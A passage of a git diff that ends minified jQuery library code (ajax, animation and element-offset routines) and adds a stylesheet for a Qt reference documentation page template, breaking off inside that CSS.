c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}: +function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")} +function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)|| +N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&& +c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&& +A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept", +e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)? +"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e, +w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]= +f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n, +function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/, +W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove(); +ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&& +c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"), +o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a); +else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle", +1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a, +b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]== +null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop=== +"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow= +this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos= +c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!= +null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(), +f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f= +b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)|| +0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"), +d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild); +d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop}, +bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left- +e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a= +this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}}); +c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]|| +e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window); diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css new file mode 100755 index 0000000..1c78118 --- /dev/null +++ b/doc/src/template/style/style.css @@ -0,0 +1,959 @@ +@media screen +{ + html + { + color: #000000; + background: #FFFFFF; + } + body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, button, textarea, p, blockquote, th, td + { + margin: 0; + padding: 0; + } + table + { + border-collapse: collapse; + border-spacing: 0; + } + fieldset, img + { + border: 0; + } + address, caption, cite, code, dfn, em, strong, th, var, optgroup + { + font-style: inherit; + font-weight: inherit; + } + del, ins + { + text-decoration: none; + } + li + { + list-style: none; + } + caption, th + { + text-align: left; + } + h1, h2, h3, h4, h5, h6 + { + font-size: 100%; + font-weight: normal; + } + q:before, q:after + { + content: ''; + } + abbr, acronym + { + border: 0; + font-variant: normal; + } + sup + { + vertical-align: baseline; + } + sub + { + vertical-align: baseline; + } + legend + { + color: #000000; + } + input, button, textarea, select, optgroup, option + { + font-family: inherit; + font-size: inherit; + font-style: inherit; + font-weight: inherit; + } + input, button, textarea, select + { + font-size: 100%; + } + /* Page style */ + html + { + background-color: #e5e5e5; + } + body + { + background: #e6e7e8 url(../images/page_bg.png) repeat-x 0 0; + font: normal 13px/1.2 Verdana; + color: #363534; + } + strong + { + font-weight: bold; + } + em + { + font-style: italic; + } + .header, .footer, .wrapper + { + min-width: 600px; + max-width: 1500px; + margin: 0 30px; + } + .wrapper + { + background: url(../images/bg_r.png) repeat-y 100% 0; + } + .wrapper .hd + { + padding-left: 216px; + height: 15px; + background: url(../images/bg_ul.png) no-repeat 0 0; + overflow: hidden; + } + .offline .wrapper .hd + { + background: url(../images/bg_ul_blank.png) no-repeat 0 0; + } + .wrapper .hd span + { + height: 15px; + display: block; + background: url(../images/bg_ur.png) no-repeat 100% 0; + overflow: hidden; + } + .offline .wrapper .hd span + { + /* background: url(../images/bg_ur_blank.png) no-repeat 100% 0; */ + } + .wrapper .bd + { + background: url(../images/bg_l.png) repeat-y 0 0; + position: relative; + } + .offline .wrapper .bd + { + background: url(../images/bg_l_blank.png) repeat-y 0 0; + } + .wrapper .ft + { + padding-left: 216px; + height: 15px; + background: url(../images/bg_ll.png) no-repeat 0 0; + overflow: hidden; + } + .offline .wrapper .ft + { + background: url(../images/bg_ll_blank.png) no-repeat 0 0; + } + .wrapper .ft span + { + height: 15px; + display: block; + background: url(../images/bg_lr.png) no-repeat 100% 0; + overflow: hidden; + } + .header, .footer + { + display: block; + clear: both; + overflow: hidden; + } + .header + { + height: 115px; + position: relative; + } + .header .icon + { + position: absolute; + top: 13px; + left: 0; + } + .header .qtref + { + position: absolute; + top: 28px; + left: 88px; + width: 302px; + height: 22px; + } + .header .qtref span + { + display: block; + width: 302px; + height: 22px; + text-indent: -999em; + background: url(../images/qt_ref_doc.png) no-repeat 0 0; + } + /* header elements */ + #nav-topright + { + height: 70px; + } + + #nav-topright ul + { + list-style-type: none; + float: right; + width: 370px; + margin-top: 11px; + } + + #nav-topright li + { + display: inline-block; + margin-right: 20px; + float: left; + } + + #nav-topright li.nav-topright-last + { + margin-right: 0; + } + + #nav-topright li a + { + background: transparent url(../images/sprites-combined.png) no-repeat; + height: 18px; + display: block; + overflow: hidden; + text-indent: -9999px; + } + + #nav-topright li.nav-topright-home a + { + width: 65px; + background-position: -2px -91px; + } + + #nav-topright li.nav-topright-home a:hover + { + background-position: -2px -117px; + } + + + #nav-topright li.nav-topright-dev a + { + width: 30px; + background-position: -76px -91px; + } + + #nav-topright li.nav-topright-dev a:hover + { + background-position: -76px -117px; + } + + + #nav-topright li.nav-topright-labs a + { + width: 40px; + background-position: -114px -91px; + } + + #nav-topright li.nav-topright-labs a:hover + { + background-position: -114px -117px; + } + + #nav-topright li.nav-topright-doc a + { + width: 32px; + background-position: -162px -91px; + } + + #nav-topright li.nav-topright-doc a:hover, #nav-topright li.nav-topright-doc-active a + { + background-position: -162px -117px; + } + + #nav-topright li.nav-topright-blog a + { + width: 40px; + background-position: -203px -91px; + } + + #nav-topright li.nav-topright-blog a:hover, #nav-topright li.nav-topright-blog-active a + { + background-position: -203px -117px; + } + + #nav-topright li.nav-topright-shop a + { + width: 40px; + background-position: -252px -91px; + } + + #nav-topright li.nav-topright-shop a:hover, #nav-topright li.nav-topright-shop-active a + { + background-position: -252px -117px; + } + + #nav-logo + { + background: transparent url( "../images/sprites-combined.png" ) no-repeat 0 -225px; + left: -3px; + position: absolute; + width: 75px; + height: 75px; + top: 13px; + } + #nav-logo a + { + width: 75px; + height: 75px; + display: block; + text-indent: -9999px; + overflow: hidden; + } + /* Clearing */ + .header:after, .footer:after, .breadcrumb:after, .wrap .content:after, .group:after + { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden; + } + /* ^ Clearing */ + + + + .shortCut-topleft-inactive + { + padding-left: 3px; + background: transparent url( "../images/sprites-combined.png" ) no-repeat 0px -58px; + height: 20px; + width: 93px; + } + .shortCut-topleft-inactive span + { + font-variant: normal; + } + #shortCut + { + padding-top: 10px; + font-weight: bolder; + color: #b0adab; + } + #shortCut ul + { + list-style-type: none; + float: left; + width: 347px; + margin-left: 100px; + } + #shortCut li + { + display: inline-block; + margin-right: 25px; + float: left; + white-space: nowrap; + } + #shortCut li a + { + color: #b0adab; + text-decoration: none; + } + #shortCut li a:hover + { + color: #44a51c; + text-decoration: none; + } + + /* end of header elements */ + + /* menu element */ + .sidebar + { + float: left; + margin-left: 5px; + width: 200px; + font-size: 11px; + } + .sidebar a + { + color: #00732f; + text-decoration: none; + } + .offline .sidebar, .offline .feedback + { + display: none; + } + .sidebar .searchlabel + { + padding: 0 0 2px 17px; + font: normal bold 11px/1.2 Verdana; + } + .sidebar .search + { + padding: 0 15px 0 16px; + } + .sidebar .search form + { + width: 167px; + height: 21px; + padding: 2px 0 0 5px; + background: url(../images/form_bg.png) no-repeat 0 0; + } + .sidebar .search form fieldset input#searchstring + { + width: 158px; + height: 19px; + padding: 0; + border: none; + outline: none; + font: 13px/1.2 Verdana; + } + .sidebar .box + { + padding: 17px 15px 5px 16px; + } + .sidebar .box .first + { + background-image: none; + } + .sidebar .box h2 + { + font: normal 18px/1.2 Arial; + padding: 15px 0 0 40px; + min-height: 32px; + } + .sidebar .box#lookup h2 + { + background: url(../images/api_lookup.png) no-repeat 0 0; + } + .sidebar .box#topics h2 + { + background: url(../images/api_topics.png) no-repeat 0 0; + } + .sidebar .box#examples h2 + { + background: url(../images/api_examples.png) no-repeat 0 0; + } + .sidebar .box .list + { + display: block; + } + .sidebar .box .live + { + display: none; + height: 100px; + overflow: auto; + } + .list li a:hover, .live li a:hover + { + text-decoration: underline; + } + .sidebar .box ul li + { + padding-left: 12px; + background: url(../images/bullet_gt.png) no-repeat 0 5px; + margin-bottom: 15px; + } + .sidebar .bottombar + { + background: url(../images/box_bg.png) repeat-x 0 bottom; + } + /* content elements */ + .wrap + { + overflow: hidden; + } + .offline .wrap + { + margin: 0 5px 0 5px; + } + /* tool bar */ + .wrap .toolbar + { + background-color: #fafafa; + border-bottom: 1px solid #d1d1d1; + height: 20px; + margin-left: 3px; + margin-right: 5px; + position: relative; + } + .wrap .toolbar .toolblock + { + position: absolute; + } + .wrap .toolbar .breadcrumb + { + font-size: 11px; + line-height: 1; + padding: 0 0 10px 21px; + height: 10px; + } + .wrap .toolbar .toolbuttons + { + padding: 0 0 10px 21px; + right: 5px; + vertical-align: top; + overflow: hidden; + } + .wrap .toolbar .toolbuttons .active + { + color: #00732F; + } + .wrap .toolbar .toolbuttons ul + { + float: right; + } + .wrap .toolbar .toolbuttons li + { + float: left; + text-indent: -10px; + margin-top: -5px; + margin-right: 15px; + font-weight: bold; + color: #B0ADAB; + } + #smallA + { + font-size: 10pt; + } + #medA + { + font-size: 12pt; + } + #bigA + { + font-size: 14pt; + } + #smallA:hover, #medA:hover, #bigA:hover + { + color: #00732F; + } + #print + { + font-size: 14pt; + line-height: 20pt; + } + #printIcon + { + margin-left: 5px; + } + /* bread crumbs */ + .wrap .breadcrumb ul li + { + float: left; + background: url(../images/breadcrumb.png) no-repeat 0 3px; + padding-left: 15px; + margin-left: 15px; + font-weight: bold; + } + .wrap .breadcrumb ul li.last + { + font-weight: normal; + } + .wrap .breadcrumb ul li.first + { + background-image: none; + padding-left: 0; + margin-left: 0; + } + .wrap .content + { + padding: 30px; + position: relative; + } + /* text elements */ + .heading + { + font: normal 600 16px/1.0 Arial; + padding-bottom: 15px; + } + + .subtitle + { + font-size: 13px; + } + + .small-subtitle + { + font-size: 13px; + } + + .wrap .content h1 + { + font: 600 18px/1.2 Arial; + padding-bottom: 15px; + } + .wrap .content h2 + { + font: 600 16px/1.2 Arial; + } + .wrap .content h3 + { + font: 600 14px/1.2 Arial; + } + .wrap .content p + { + line-height:20px; + padding:10px 5px 10px 5px; + } + .wrap .content ul + { + padding-left: 25px; + } + .wrap .content li + { + padding-left: 12px; + background: url(../images/bullet_sq.png) no-repeat 0 5px; + font: normal 400 10pt/1 Verdana; + margin-bottom: 10px; + line-height: 14px; + } + a + { + color: #00732F; + text-decoration: none; + } + a:hover + { + color: #4c0033; + text-decoration: underline; + } + .content a:visited + { + color: #4c0033; + text-decoration: none; + } + .offline .wrap .content + { + padding-top: 15px; + } + .footer + { + min-height: 100px; + color: #797775; + font: normal 9px/1 Verdana; + text-align: center; + padding-top: 40px; + } + .feedback + { + float: right; + padding-right: 10px; + font: normal 8px/1 Verdana; + color: #B0ADAB; + } + .feedback:hover + { + float: right; + font: normal 8px/1 Verdana; + color: #00732F; + text-decoration: underline; + } + hr + { + background-color: #e0e0e0; + height: 1px; + width: 100%; + text-align: left; + margin: 15px 0px 15px 0px; + } + + .content .alignedsummary + { + margin: 15px; + } + /* tables */ + table, pre + { + -moz-border-radius: 7px 7px 7px 7px; + background-color: #F6F6F6; + border: 1px solid #E6E6E6; + border-collapse: separate; + font-size: 11px; + min-width: 395px; + margin-bottom: 25px; + } + thead{margin-top: 5px;} + th{ padding: 3px 15px 3px 15px;} + td{padding: 3px 15px 3px 20px;} + table tr.odd + { + border-left: 1px solid #E6E6E6; + background-color: #F6F6F6; + color: #66666E; + } + table tr.even + { + border-left: 1px solid #E6E6E6; + background-color: #ffffff; + color: #66666E; + } + table tr.odd:hover + { + background-color: #E6E6E6; + } + table tr.even:hover + { + background-color: #E6E6E6; + } + span.comment + { + color: #8B0000; + font-style: italic; + } + span.string, span.char + { + color: #254117; + } + pre + { + -moz-border-radius:7px 7px 7px 7px; + background-color:#F6F6F6; + border:1px solid #DDDDDD; + margin:0 20px 10px 10px; + padding:20px 15px 20px 20px; + overflow-x:auto; + } + .qmltype + { + text-align: center; + font-size: 160%; + } + .qmlreadonly + { + float: right; + color: #254117; + } + #feedbackBox + { + display:none; + -moz-border-radius:7px 7px 7px 7px; + border:1px solid #DDDDDD; + position:fixed; + top:100px; + left: 33%; + height: 190px; + width: 400px; + padding: 5px; + background-color: #e6e7e8; + z-index: 4; + } + #feedcloseX a + { + display:inline; + padding: 5px 5px 0 0; + margin-bottom:3px; + color: #363534; + font-weight:600; + float: right; + text-decoration: none; + } + #feedbox + /* here */ + { + display:inline; + width: 370px; + height: 120px; + margin:0px 25px 10px 15px; + } + #feedsubmit + { + display:inline; + float:right; + margin:4px 32px 0 0; + } + #blurpage + { + display: none; + position: fixed; + float: none; + top: 0px; + left: 0px; + right: 0px; + bottom: 0px; + background: transparent url(../images/feedbackground.png) 0 0; + z-index: 3; + } + .toc + { + float: right; + -moz-border-radius:7px 7px 7px 7px; + background-color:#F6F6F6; + border:1px solid #DDDDDD; + margin:0 20px 10px 10px; + padding:20px 15px 20px 20px; + height: auto; + width: 200px; + } + + .toc h3 + { + font:600 12px/1.2 Arial; + } + + .wrap .content .toc ul + { + /* float: left;*/ + padding-left: 0px; + + } + + + .wrap .content .toc .level2 + { + /* float: left;*/ + padding-left: 15px; + + } + + + .content .toc li + { + font: normal 10px/1.2 Verdana; + background: url(../images/bullet_dn.png) no-repeat 0 5px; + } + + .relpage + { + -moz-border-radius: 7px 7px 7px 7px; + border: 1px solid #DDDDDD; + padding: 25px 25px; + clear:both; + } + .relpage ul + { + float: none; + padding: 15px; + } + .content .relpage li + { + font: normal 11px/1.2 Verdana; + } + /* edit */ + h3.fn, span.fn + { + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + font-weight: bold; + /* padding: 6px 0px 6px 10px;*/ + /* margin: 